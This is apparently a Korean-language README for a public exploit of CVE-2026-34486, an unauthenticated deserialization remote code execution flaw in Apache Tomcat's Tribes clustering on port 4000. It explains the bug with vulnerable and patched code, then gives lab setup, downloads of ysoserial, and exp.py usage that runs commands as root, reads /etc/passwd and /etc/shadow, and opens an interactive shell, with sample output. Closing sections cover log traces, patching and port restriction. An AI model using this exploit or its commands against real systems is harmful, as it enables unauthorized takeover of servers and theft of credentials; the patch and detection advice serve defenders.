
Apache Tomcat EncryptInterceptor 우회를 통한 인증되지 않은 RCE를 유발하는 Java 역직렬화(포트 4000) 익스플로잇. 랩 구성, 인터랙티브 셸, 탐지 가이드를 포함합니다.
| 필드 | 정보 |
|---|
| CVE ID | CVE-2026-34486 |
| CVSS 점수 | 7.5 (High) |
| 구성 요소 | Apache Tomcat Tribes EncryptInterceptor |
| 영향받는 버전 | 9.0.0.M1 – 9.0.116 / 10.1.0-M1 – 10.1.53 / 11.0.0-M1 – 11.0.20 |
| 수정된 버전 | 9.0.117 / 10.1.54 / 11.0.21 |
| 취약점 유형 | 역직렬화를 통한 인증되지 않은 원격 코드 실행 |
| 공격 벡터 | 네트워크 / 인증 불필요 / 낮은 복잡도 |
| 공격 포트 | TCP 4000 (Tribes NioReceiver) |
Apache Tomcat의 클러스터링 기능은 Tribes 프레임워크를 사용하여 클러스터 노드 간 세션 데이터를 동기화하며, 기본적으로 TCP 포트 4000에서 수신 대기합니다.
EncryptInterceptor(AES/CBC)가 활성화된 경우 다음과 같은 로직 결함이 존재합니다:
// EncryptInterceptor.java — 취약한 버전
public void messageReceived(ChannelMessage msg) {
try {
byte[] decrypted = decrypt(msg.getMessage().getBytes());
// 복호화된 메시지 처리...
} catch (Exception e) {
log.error("Failed to decrypt message", e); // 오류만 기록
}
super.messageReceived(msg); // ← 버그: 복호화 실패 후에도 원본 바이트가 전달됨
}
catch 블록은 오류만 기록합니다. super.messageReceived(msg)가 try-catch 외부에 있으므로, 복호화되지 않은 원본 바이트가 XByteBuffer.deserialize() → ObjectInputStream.readObject()로 전달됩니다.
공격자는 인증 없이 조작된 역직렬화 페이로드를 전송하여 RCE를 트리거할 수 있습니다.
공격자 ──TCP:4000──► NioReceiver (인증 없음)
│
EncryptInterceptor.messageReceived()
try { AES/CBC 복호화 → IllegalBlockSizeException }
catch{ log.severe("Failed to decrypt") } ← 로그 추적만 남김
super.messageReceived(msg) ← 버그: 원본 바이트 통과
│
GroupChannel → XByteBuffer.deserialize()
│
ObjectInputStream.readObject() ← 역직렬화 트리거
│
CommonsCollections6 Gadget Chain
│
Runtime.exec() → root 권한으로 RCE 🔴
수정 사항은 super.messageReceived(msg)를 try 블록 내부로 이동하여, 복호화 실패 시 메시지가 자동으로 폐기되도록 합니다(fail-closed).
// EncryptInterceptor.java — 패치된 버전
public void messageReceived(ChannelMessage msg) {
try {
byte[] decrypted = decrypt(msg.getMessage().getBytes());
// 처리...
super.messageReceived(msg); // ← 수정됨: 복호화 성공 시에만 도달
} catch (Exception e) {
log.error("Failed to decrypt message", e); // 메시지가 폐기됨
}
}
java 및 javac가 PATH에 있어야 함)ysoserial-all.jarapache-tomcat-9.0.116 (Tribes 라이브러리용)docker run -d \
--name tomcat-cve-2026-34486 \
-p 8080:8080 \
-p 4000:4000 \
nowday3/cve-2026-34486:latest
# 확인
curl http://localhost:8080
# exp
git clone https://github.com/404-src/CVE-2026-34486
cd CVE-2026-34486/
# ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Tomcat 9.0.116 (Tribes 라이브러리용)
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz
tar xzf apache-tomcat-9.0.116.tar.gz
cp apache-tomcat-9.0.116/bin/tomcat-juli.jar apache-tomcat-9.0.116/lib/
python3 exp.py -t 127.0.0.1 -p 4000 -c "touch /tmp/pwned"
# 확인
docker exec tomcat-cve-2026-34486 ls -la /tmp/pwned
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
# 출력: uid=0(root) gid=0(root) groups=0(root)
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/passwd"
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/shadow"
python3 exp.py -t 127.0.0.1 -p 4000 --shell
# [email protected]$ id
# [email protected]$ hostname
# [email protected]$ exit
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id" \
--ysoserial ./ysoserial-all.jar \
--tomcat-lib ./apache-tomcat-9.0.116/lib
-t, --target 대상 IP (기본값: 127.0.0.1)
-p, --port Tribes 포트 (기본값: 4000)
--http-port 출력 수신용 HTTP 포트 (기본값: 8080)
-c, --command 명령 직접 실행 (셸 기능 없음)
--rce 명령 실행 및 HTTP를 통한 출력 수신
--shell 인터랙티브 셸 모드
-g, --gadget Gadget 체인 (기본값: CommonsCollections6)
--ysoserial ysoserial jar 경로
--tomcat-lib Tomcat lib 디렉터리 경로
$ python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═══██╗╚════██╗██╔════╝
██║ ██║ ██║█████╗█████╗ █████╔╝██║ ██║ █████╔╝███████╗
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ██║▄▄ ██║██╔═══╝ ██╔══██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝
34486
Apache Tomcat EncryptInterceptor 우회 → 역직렬화 → RCE
대상 : 127.0.0.1:4000
Gadget : CommonsCollections6
[*] TribesClient.java 컴파일 중 ...
[+] 컴파일 성공
[*] CommonsCollections6 페이로드 생성 중 ...
[+] 페이로드: 1361 바이트
[*] Tribes 프레임 전송 → 127.0.0.1:4000
[tribes] frame=1496B cdBytes=1478B
[+] 프레임 전송 완료!
[*] 결과 수신: http://127.0.0.1:8080/.out.txt
uid=0(root) gid=0(root) groups=0(root)
공격이 남기는 유일한 로그 추적:
SEVERE [Tribes-Task-Receiver[Catalina-Channel]-1]
org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
Failed to decrypt message
javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16
when decrypting with padded cipher
readObject 예외는 기록되지 않습니다 — 명령이 조용히 실행됩니다.
| 조치 | 우선순위 |
|---|---|
| Tomcat 9.0.117 / 10.1.54 / 11.0.21로 업그레이드 | Critical |
| 포트 4000을 신뢰할 수 있는 클러스터 IP로만 제한 | High |
반복되는 Failed to decrypt message 로그 모니터링 | Medium |
| 필요하지 않으면 Tribes 클러스터링 비활성화 | High |
이 프로젝트는 승인된 보안 연구, 침투 테스트 및 교육 목적으로만 사용됩니다. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 이 도구를 사용하지 마십시오. 저자는 이 도구로 인한 오용 또는 손해에 대해 어떠한 책임도 지지 않습니다.
MIT License © 2026 404-src